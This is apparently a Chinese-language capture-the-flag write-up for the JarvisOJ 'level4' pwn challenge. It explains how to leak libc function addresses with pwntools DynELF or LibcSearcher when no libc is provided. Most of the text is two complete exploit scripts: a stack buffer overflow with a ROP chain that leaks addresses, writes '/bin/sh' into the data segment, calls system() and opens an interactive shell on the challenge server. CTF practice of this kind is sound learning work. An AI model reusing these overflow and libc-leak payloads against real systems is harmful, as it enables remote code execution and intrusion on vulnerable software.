JarvisOj level4
当题目未提供libc.so的时候
可以使用DynELF寻找我们需要函数的地址
关于DynELF(https://blog.csdn.net/qq_40827990/article/details/86689760)
我的理解是,DynELF通过它自己有的各种libc.so去爆破该ELF的libc.so
所以需要一个leak函数支持多次的write函数之类的功能
就好比可以
while 1: leak()
leak的参数addr 是我们需要用write写出数据的地址
函数内写/接受 4字节8字节都行 返回不需要u32(data) 直接返回data
DynELF(leak,elf=elf) 第一个参数就是leak函数 第二个参数是你的程序elf
之后使用lookup("function_name","libc") function_name就是需要查询的函数真实地址 返回为int
还有一点就是 leak里面返回main有时候行不通 估计是堆栈的原因
所以返回start 把所有东西全清空
改题构造leak之后 找到system地址
通过read 把"/bin/sh"读到data段 (一般是bss段,不过这里bss段太短了装不下,所以找可执行的data段)
注意read的使用要严格控制字符数 也就是第三个参数
最开始这里使用了io.sendline("/bin/sh\x00")
字符串里面8个字符,但是还sendline还在末尾加了换行符导致exp出错
from pwn import * io=remote('pwn2.jarvisoj.com',9880) # io=process('./level4') elf=ELF('./level4') start_addr=0x08048350 write_plt=0x08048340 read_plt=0x08048310 def leak(addr): payload='a'*(0x88+4)+p32(write_plt)+p32(start_addr) payload+=p32(1)+p32(addr)+p32(8) io.sendline(payload) leaked=io.recv(8) # 8 or 4 try # print("%#x -> %s" %(addr, (context or '').encode('hex'))) return leaked d=DynELF(leak,elf=elf) system_addr=d.lookup('system','libc') print "system_addr:"+hex(system_addr) # read_addr=d.lookup('read','libc') # print "read_addr:"+hex(read_addr) data_addr=0x0804A01C payload='a'*(0x88+4)+p32(read_plt)+p32(start_addr) payload+=p32(0)+p32(data_addr)+p32(8) io.sendline(payload) io.send("/bin/sh\x00") #io.sendline("/bin/sh\x00") wrong!!! payload='a'*(0x88+4)+p32(system_addr)+p32(start_addr) payload+=p32(data_addr) io.sendline(payload) io.interactive()
泄露还可以用LibcSearcher
只要得到一个函数的真实地址,就可以dump出libc地址
然后类似于给出了libc一样计算base_addr 继而计算其他函数的真实地址
两种方法都可能得到错误的libc.so 所以一种方法行不通的时候用另一种试试
from pwn import * from LibcSearcher import * io=remote('pwn2.jarvisoj.com',9880) # io=process('./level4') elf=ELF('./level4') vul_addr=0x0804844B payload='a'*(0x88+4)+p32(elf.plt['write'])+p32(vul_addr) payload+=p32(1)+p32(elf.got['write'])+p32(4) io.sendline(payload) write_addr=u32(io.recv(4)) print "write_addr:"+hex(write_addr) libc=LibcSearcher("write",int(write_addr)) base=write_addr-libc.dump("write") print "base:"+hex(base) system_addr=base+libc.dump("system") print "system_addr:"+hex(system_addr) # 0x******980 str_addr=base+libc.dump("str_bin_sh") print "str_addr:"+hex(str_addr) payload='a'*(0x88+4)+p32(system_addr)+p32(vul_addr) payload+=p32(str_addr) io.sendline(payload) io.interactive()